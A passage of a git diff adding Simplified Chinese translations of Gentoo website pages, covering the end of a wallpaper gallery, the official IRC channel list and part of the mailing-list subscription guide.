+    <uri link="/images/backgrounds/cow-push-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/cow-push2-120x90.jpg"/>
+  </ti>
+  <ti>
+    <fig link="/images/backgrounds/macosx-gentoo-120x90.jpg"/>
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/cow-push2-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/cow-push2-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by <uri
+    link="http://forums.gentoo.org/profile.php?mode=viewprofile&amp;u=100549">Tero Konttila</uri>
+  </ti>
+  <ti>
+    <uri link="/images/backgrounds/macosx-gentoo-800x600.jpg">800x600</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1024x768.jpg">1024x768</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1152x864.jpg">1152x864</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1280x1024.jpg">1280x1024</uri> - 
+    <uri link="/images/backgrounds/macosx-gentoo-1600x1200.jpg">1600x1200</uri>
+    <br/>
+    by Przemysław Pazik
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <fig link="/images/backgrounds/gentoo-abducted-120x90.png"/>
+  </ti>
+  <ti></ti>
+</tr>
+<tr>
+  <ti>
+    <uri link="/images/backgrounds/gentoo-abducted-800x600.png">800x600</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1024x768.png">1024x768</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1152x864.png">1152x864</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1280x1024.png">1280x1024</uri> -
+    <uri link="/images/backgrounds/gentoo-abducted-1600x1200.png">1600x1200</uri>
+    <br/>
+    by <uri link="http://forums.gentoo.org/viewtopic-t-257123.html">Matteo 'Peach' Pescarin</uri>
+  </ti>
+  <ti></ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/irc.xml b/xml/htdocs/main/zh_cn/irc.xml
new file mode 100644
index 00000000..ab661c8a
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/irc.xml
@@ -0,0 +1,485 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/irc.xml,v 1.3 2010/06/05 11:50:54 r0bertz Exp $ -->
+<!-- English CVS version: 1.124 -->
+
+<mainpage>
+<title>Gentoo Linux IRC资源</title>
+<author title="编辑">
+  Colin Morey
+</author>
+<author title="编辑">
+  <mail link="klieber@gentoo.org">Kurt Lieber</mail>
+</author>
+<author title="编辑">
+  <mail link="fox2mike@gentoo.org">Shyam Mani</mail>
+</author>
+<author title="编辑">
+  <mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="编辑">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+<author title="编辑">
+  <mail link="musikc@gentoo.org">Christina Fullam</mail>
+</author>
+<author title="译者">
+ <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+Gentoo官方IRC频道
+</abstract>
+
+<license/>
+
+<version>1.37</version>
+<date>2009-06-03</date>
+
+<chapter>
+<title>互联网中继聊天</title>
+<section>
+<body>
+
+<p>
+<b>我们官方的所有IRC频道都可以在<uri link="http://www.freenode.net/">freenode</uri>上找到。</b>
+</p>
+
+<p>
+我们所有的频道由志愿者管理，用户和贡献者互惠互利，我们认为IRC要向所有人开放。请随时来访并介绍自己，把它当作一种当你遇到问题或有关于Gentoo Linux的疑问时可利用的资源。
+</p>
+
+<p>
+对于用户访问我们在freenode上支持的频道，我们的要求很少：
+</p>
+
+<ul>
+  <li>言行要理智而成熟，遵守<uri link="/proj/en/council/coc.xml">行为规范</uri>。</li>
+  <li>进入一个频道，请阅读频道主题，其中包含有用的信息！</li>
+  <li>大多数频道不欢迎机器人或使用脚本交谈。如果有疑问，请提出。</li>
+  <li>未经对方同意请不要对用户/在频道上使用<c>CTCP版本</c>或类似功能。</li>
+  <li>请注意我们在#gentoo中营造一个洁净的语言氛围，诅咒谩骂是不允许的。</li>
+  <li>同时注意我们不可能在#gentoo中支持一个备选的软件包管理器，唯有Portage！</li>
+</ul>
+
+<p>
+应该注意的是我们<b>不会</b>为基于Gentoo Linux的衍生发行版提供支持。
+</p>
+
+<table>
+<tr>
+  <th>主要支持频道</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo">#gentoo</uri></ti>
+  <th>与安装相关的议题，遇到一个Xorg的问题？进#gentoo试试吧！</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev">#gentoo-dev</uri></ti>
+  <th>讨论关于Gentoo Linux的积极开发，要求有发言权（+v）。</th>
+  <th></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-groupcontacts">#gentoo-groupcontacts</uri></ti>
+  <th>Gentoo群联系是使用一个Freenode cloak或通过一个Freenode频道等进行询问或报告一个议题的官方途径。</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ops">#gentoo-ops</uri></ti>
+  <th>关于#gentoo的政策或禁令的问题或投诉只能在这里提出。</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>架构&amp;平台支持频道</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-alpha">#gentoo-alpha</uri></ti>
+  <th>Gentoo Linux/Alpha</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-amd64">#gentoo-amd64</uri></ti>
+  <th>Gentoo Linux/AMD64</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-amd64-dev">#gentoo-amd64-dev</uri>
+  </ti>
+  <th>Gentoo Linux/AMD64开发者频道</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bsd">#gentoo-bsd</uri></ti>
+  <th>Gentoo *BSD</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hppa">#gentoo-hppa</uri></ti>
+  <th>Gentoo Linux/HPPA</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ia64">#gentoo-ia64</uri></ti>
+  <th>Gentoo Linux/IA-64</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mips">#gentoo-mips</uri></ti>
+  <th>Gentoo Linux/MIPS</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ppc">#gentoo-powerpc</uri></ti>
+  <th>Gentoo Linux/PowerPC（PPC和PPC64）</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sparc">#gentoo-sparc</uri></ti>
+  <th>Gentoo Linux/Sparc</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-x86">#gentoo-x86</uri></ti>
+  <th>Gentoo Linux/x86开发</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th><b>综合&amp;开发频道</b></th>
+</tr>
+<tr>
+  <ti>
+    <uri
+    link="irc://irc.gentoo.org/gentoo-accessibility">#gentoo-accessibility</uri>
+  </ti>
+  <th>
+    The <uri link="/proj/en/desktop/accessibility">Accessibility</uri> project
+  </th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-apache">#gentoo-apache</uri></ti>
+  <th>谈论Gentoo Apache开发相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-bugs">#gentoo-bugs</uri></ti>
+  <th>Gentoo Bug日事件，Gentoo Bug修补</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cluster">#gentoo-cluster</uri></ti>
+  <th>Gentoo Linux/集群</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-council">#gentoo-council</uri></ti>
+  <th><uri link="/proj/en/council">Gentoo议会</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-commits">#gentoo-commits</uri></ti>
+  <th>Gentoo CVS/SVN实时提交信息</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-db">#gentoo-db</uri></ti>
+  <th>数据库相关的软件包和讨论。</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-desktop">#gentoo-desktop</uri></ti>
+  <th>开发者&amp;用户，开发的一切</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dev-help">#gentoo-dev-help</uri></ti>
+  <th>Ebuild作者的工作场所</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-devrel">#gentoo-devrel</uri></ti>
+  <th>The <uri link="/proj/en/devrel">Developer Relations</uri> project</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-doc">#gentoo-doc</uri></ti>
+  <th>Gentoo文档开发</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-embedded">#gentoo-embedded</uri></ti>
+  <th>嵌入式Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-events">#gentoo-events</uri></ti>
+  <th>计划Gentoo公共活动并在活动期间实时交谈</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-forums">#gentoo-forums</uri></ti>
+  <th>谈论Gentoo论坛相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-games">#gentoo-games</uri></ti>
+  <th>Gentoo Linux原生游戏讨论（非Cedega/Wine）</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-guis">#gentoo-guis</uri></ti>
+  <th>Gentoo图形用户界面项目</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-hardened">#gentoo-hardened</uri></ti>
+  <th>强化Gentoo Linux</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-haskell">#gentoo-haskell</uri></ti>
+  <th>Haskell软件包</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-java">#gentoo-java</uri></ti>
+  <th>谈论Java相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kde">#gentoo-kde</uri></ti>
+  <th>KDE软件包维护</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-kernel">#gentoo-kernel</uri></ti>
+  <th>Gentoo内核开发讨论</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-gmn">#gentoo-gmn</uri></ti>
+  <th>Gentoo每月资讯</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-laptop">#gentoo-laptop</uri></ti>
+  <th>谈论笔记本电脑相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-lisp">#gentoo-lisp</uri></ti>
+  <th>谈论Gentoo Lisp相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-media">#gentoo-media</uri></ti>
+  <th>Gentoo多媒体开发</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-mirrors">#gentoo-mirrors</uri></ti>
+  <th>谈论Gentoo镜像和管理</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmail">#gentoo-netmail</uri></ti>
+  <th>邮件相关软件包</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-netmon">#gentoo-netmon</uri></ti>
+  <th>网络监控软件包</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-perl">#gentoo-perl</uri></ti>
+  <th>Gentoo perl的一切</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-php">#gentoo-php</uri></ti>
+  <th>Gentoo PHP讨论/支持</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-portage">#gentoo-portage</uri></ti>
+  <th>Gentoo Portage开发</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pr">#gentoo-pr</uri></ti>
+  <th><uri link="/proj/en/pr">公共关系</uri>项目</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-prefix">#gentoo-prefix</uri></ti>
+  <th><uri link="/proj/en/gentoo-alt/prefix">Gentoo Prefix</uri>项目</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-python">#gentoo-python</uri></ti>
+  <th>Gentoo Python讨论/支持</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-qa">#gentoo-qa</uri></ti>
+  <th>Gentoo<uri link="/proj/en/qa">质量保证</uri></th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-releng">#gentoo-releng</uri></ti>
+  <th>Gentoo版本发布工程内部讨论</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ruby">#gentoo-ruby</uri></ti>
+  <th>Gentoo上的Ruby</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-science">#gentoo-science</uri></ti>
+  <th>Gentoo科学项目</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-security">#gentoo-security</uri></ti>
+  <th>关于Gentoo Linux安全的讨论</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-server">#gentoo-server</uri></ti>
+  <th>谈论服务器相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-soc">#gentoo-soc</uri></ti>
+  <th>参与谷歌暑期编程</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-sunrise">#gentoo-sunrise</uri></ti>
+  <th><uri link="/proj/en/sunrise">Project Sunrise - Gentoo User Overlay</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-toolchain">#gentoo-toolchain</uri>
+  </ti>
+  <th>讨论关于Gentoo toolchain（GCC、libc、binutils等）</th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-treecleaners">#gentoo-treecleaners</uri>
+  </ti>
+  <th><uri link="/proj/en/qa/treecleaners">Gentoo Portage树清理团队</uri></th>
+</tr>
+<tr>
+  <ti>
+    <uri link="irc://irc.gentoo.org/gentoo-trustees">#gentoo-trustees</uri>
+  </ti>
+  <th><uri link="/foundation/en/">Gentoo基金会</uri>董事会</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-userreps">#gentoo-userreps</uri></ti>
+  <th>这里你可见到用户代表并和他们交谈。</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vbox">#gentoo-vbox</uri></ti>
+  <th>Gentoo上虚拟机的支持和开发频道</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vdr">#gentoo-vdr</uri></ti>
+  <th>谈论Gentoo VDR和DVB相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vim">#gentoo-vim</uri></ti>
+  <th>Gentoo Vim讨论</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-voip">#gentoo-voip</uri></ti>
+  <th>IP语音相关讨论</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-vps">#gentoo-vps</uri></ti>
+  <th>谈论Gentoo虚拟专用服务器相关</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-web">#gentoo-web</uri></ti>
+  <th>网络和网络相关的一切（当然在Gentoo上的）</th>
+</tr>
+</table>
+
+<table>
+<tr>
+  <th>区域支持频道</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-au">#gentoo-au</uri></ti>
+  <th>Australia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-be">#gentoo-be</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-br">#gentoo-br</uri></ti>
+  <th>Português do Brasil</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-by">#gentoo-by</uri></ti>
+  <th>На беларускай мове</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.cs">#gentoo.cs</uri></ti>
+  <th>česky a slovensky</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-cn">#gentoo-cn</uri></ti>
+  <th>简体中文</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo.de">#gentoo.de</uri></ti>
+  <th>Auf Deutsch</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-dk">#gentoo-dk</uri></ti>
+  <th>På Dansk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-el">#gentoo-el</uri></ti>
+  <th>Στα Ελληνικά</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-es">#gentoo-es</uri></ti>
+  <th>En español</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-fi">#gentoo-fi</uri></ti>
+  <th>Suomeksi</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoofr">#gentoofr</uri></ti>
+  <th>En français</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-id">#gentoo-id</uri></ti>
+  <th>Komunitas Pengguna Gentoo Indonesia</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-in">#gentoo-in</uri></ti>
+  <th>Support for Indian Gentoo Users and Indic localization</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-it">#gentoo-it</uri></ti>
+  <th>In Italiano</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ja">#gentoo-ja</uri></ti>
+  <th>日本語で</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-nl">#gentoo-nl</uri></ti>
+  <th>In het Nederlands</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-no">#gentoo-no</uri></ti>
+  <th>På norsk</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pl">#gentoo-pl</uri></ti>
+  <th>Po Polsku</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-pt">#gentoo-pt</uri></ti>
+  <th>Em Português</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ro">#gentoo-ro</uri></ti>
+  <th>Discuţii în limba română</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ru">#gentoo-ru</uri></ti>
+  <th>На русском языке</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-se">#gentoo-se</uri></ti>
+  <th>På svenska</th>
+</tr>
+<tr>
+  <ti><uri link="irc:irc.gentoo.org/gentoo-tr">#gentoo-tr</uri></ti>
+  <th>Resmi Gentoo Türkiye kanalı</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-tw">#gentoo-tw</uri></ti>
+  <th>使用繁體中文(台灣)</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ua">#gentoo-ua</uri></ti>
+  <th>Українською</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-uk">#gentoo-uk</uri></ti>
+  <th>United Kingdom</th>
+</tr>
+<tr>
+  <ti><uri link="irc://irc.gentoo.org/gentoo-ve">#gentoo-ve</uri></ti>
+  <th>Venezuela</th>
+</tr>
+</table>
+</body>
+</section>
+</chapter>
+</mainpage>
diff --git a/xml/htdocs/main/zh_cn/lists.xml b/xml/htdocs/main/zh_cn/lists.xml
new file mode 100644
index 00000000..2689614a
--- /dev/null
+++ b/xml/htdocs/main/zh_cn/lists.xml
@@ -0,0 +1,607 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE mainpage SYSTEM "/dtd/guide.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/main/zh_cn/lists.xml,v 1.2 2010/06/05 11:50:54 r0bertz Exp $ -->
+<!-- English CVS version: 1.111 -->
+
+<mainpage>
+<title>Gentoo邮件列表</title>
+
+<author title="作者">
+  <mail link="lcars">Andrea Barisani</mail>
+</author>
+<author title="作者">
+  <mail link="cybersystem">Sascha Schwabbauer</mail>
+</author>
+<author title="编辑">
+  <mail link="curtis119">Curtis Napier</mail>
+</author>
+<author title="编辑">
+  <mail link="klieber">Kurt Lieber</mail>
+</author>
+<author title="编辑">
+  <mail link="robbat2">Robin H. Johnson</mail>
+</author>
+<author title="译者">
+ <mail link="tysnoo@gmail.com">叶宝泰</mail>
+</author>
+
+<abstract>
+Gentoo公共邮件列表
+</abstract>
+
+<license/>
+<version>3.95</version>
+<date>2008-12-28</date>
+
+<chapter>
+<title>邮件列表</title>
+<section>
+<body>
+
+<p>
+Gentoo自由软件项目拥有许多公共邮件列表，涵盖各种Gentoo相关的主题。我们的邮件列表由<uri link="http://mlmmj.mmj.dk">mlmmj</uri>技术支持，并提供<c>List-Id:</c>邮件标题和<c>[listname]</c>主题前缀以符合现代的邮件列表管理器标准和公约。
+</p>
+
+<p>
+用户通过email与<c>mlmmj</c>进行交互。要订阅一个列表，发送一封空的email至：
+</p>
+
+<p><c>listname+subscribe@lists.gentoo.org</c></p>
+
+<note>
+用你想要订阅的列表的实际名称代替“listname”，例如：用<c>gentoo-user+subscribe@lists.gentoo.org</c>订阅<c>gentoo-user</c>邮件列表。
+</note>
+
+<p>订阅列表后，就可以通过发送一封email到以下地址来向其发邮件：</p>
+<p><c>listname@lists.gentoo.org</c></p>
+<p>若要退订列表，发送一个空的email至：</p>
+<p><c>listname+unsubscribe@lists.gentoo.org</c></p>
+
+<p>
+我们所有的邮件列表都有一个相应的摘要列表。摘要列表会每两三天给你邮寄一封独立的email，而不是每个帖子单独一封email。如果以摘要的形式订阅后想要退订，必须指定从摘要形式退订。使用你希望订阅/退订的邮箱，分别发一封空的email到下面的地址来订阅和退订邮件列表。
+</p>
+
+<p>
+<c>listname+subscribe-digest@lists.gentoo.org</c><br/>
+<c>listname+unsubscribe-digest@lists.gentoo.org</c>
+</p>
+
+<p>
+有些用户可能只想向邮件列表发邮件，而不接收那里的邮件（比如那些通过别的替代方式如gmane阅读列表的人）。这些用户可以订阅每个邮件列表的“nomail”选项：
+</p>
+
+<p>
+<c>listname+subscribe-nomail@lists.gentoo.org</c><br/>
+<c>listname+unsubscribe-nomail@lists.gentoo.org</c>
+</p>
+<p>
+你可以发一封空的email到下面的地址，了解更多关于mlmmj的功能：
+</p>
+
+<p>
+<c>listname+help@lists.gentoo.org</c><br/>
+</p>
+
+<p>
+你也可以阅读本文后面列出的简短的Gentoo邮件列表FAQ，了解Gentoo邮件列表系统的更多信息。
+</p>
+
+</body>
+</section>
+<section>
+<title>主要的Gentoo邮件列表</title>
+<body>
+
+<table>
+<tr>
+  <th>列表名称</th>
+  <th>说明</th>
+</tr>
+<tr>
+  <ti><c>gentoo-user</c></ti>
+  <ti>Gentoo用户一般性支持和讨论邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-announce</c></ti>
+  <ti>Gentoo一般性公告（新版本发布，安全性修订）</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev</c></ti>
+  <ti>Gentoo开发者一般性讨论邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-dev-announce</c></ti>
+  <ti>Gentoo开发专用的通告列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-project</c></ti>
+  <ti>Gentoo中非技术性题材的讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-security</c></ti>
+  <ti>安全性问题以及修订的讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-gmn</c></ti>
+  <ti>Gentoo每月资讯</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc</c></ti>
+  <ti>文档贡献、意见、改进和翻译</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-doc-cvs</c></ti>
+  <ti>如果你希望得到有关我们文档变动的通知则订阅此列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-commits</c></ti>
+  <ti>如果你希望得到CVS和SVN树中变动的通知则订阅此列表。这是一个交通繁忙的只读列表！</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-translators</c></ti>
+  <ti>文档翻译问题的讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-user</c></ti>
+  <ti>Gentoo Linux/PowerPC用户支持与讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-ppc-dev</c></ti>
+  <ti>Gentoo Linux/PowerPC开发者讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alpha</c></ti>
+  <ti>Gentoo Linux/Alpha用户支持与讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-amd64</c></ti>
+  <ti>Gentoo Linux/PowerPC用户支持与讨论</ti>
+</tr>
+<!--
+Disabled per vapier's request
+<tr>
+  <ti><c>gentoo-arm</c></ti>
+  <ti>讨论关于在ARM架构上运行Gentoo</ti>
+</tr>
+-->
+<tr>
+  <ti><c>gentoo-hppa</c></ti>
+  <ti>讨论关于在HPPA架构上运行Gentoo</ti>
+</tr>	
+<tr>
+  <ti><c>gentoo-ia64</c></ti>
+  <ti>Gentoo Linux/ia64用户支持与讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-mips</c></ti>
+  <ti>讨论关于在MIPS架构上运行Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-sparc</c></ti>
+  <ti>Gentoo Linux/Sparc用户支持与讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-bsd</c></ti>
+  <ti>讨论关于Gentoo/BSD</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-xbox</c></ti>
+  <ti>讨论关于Xbox上的Gentoo</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cygwin</c></ti>
+  <ti>Gentoo cygwin用户支持与讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-alt</c></ti>
+  <ti>讨论关于<uri link="/proj/en/gentoo-alt/">备选平台上的Gentoo项目</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-kernel</c></ti>
+  <ti>gentoo-sources、vesafb-tng、fgsplash的版本发布公告与讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-laptop</c></ti>
+  <ti>讨论节能、pcmcia以及其他笔记本电脑相关的东西</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop</c></ti>
+  <ti>专注于桌面上的Gentoo的邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-desktop-research</c></ti>
+  <ti>讨论关于改善Gentoo桌面体验</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-performance</c></ti>
+  <ti>讨论关于改善Gentoo的性能</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-hardened</c></ti>
+  <ti>Gentoo的一个安全加强版本</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-portage-dev</c></ti>
+  <ti>Portage内部和Portage界面开发讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-catalyst</c></ti>
+  <ti>致力于catalyst的邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-server</c></ti>
+  <ti>讨论关于Gentoo应用与生产环境</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-admin</c></ti>
+  <ti>讨论关于Gentoo Linux管理问题</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-cluster</c></ti>
+  <ti>讨论关于Gentoo应用与集群环境</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-devhelp</c></ti>
+  <ti>讨论和帮助用户关于ebuild开发的问题</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-web-user</c></ti>
+  <ti>与Gentoo网络工具相关的网络配置和管理的讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-embedded</c></ti>
+  <ti>Gentoo Linux/嵌入式的用户和开发者讨论</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-extreme-security</c></ti>
+  <ti>讨论关于<uri link="/proj/en/extreme-security/">Gentoo极限安全项目</uri></ti>
+</tr>
+<tr>
+  <ti><c>gentoo-releng</c></ti>
+  <ti>Gentoo版本发布管理团队的邮件列表</ti>
+</tr>
+<tr>
+  <ti><c>gentoo-pr</c></ti>
+  <ti>讨论一切Gentoo公共关系的邮件列表</ti>
+</tr>
+<tr>
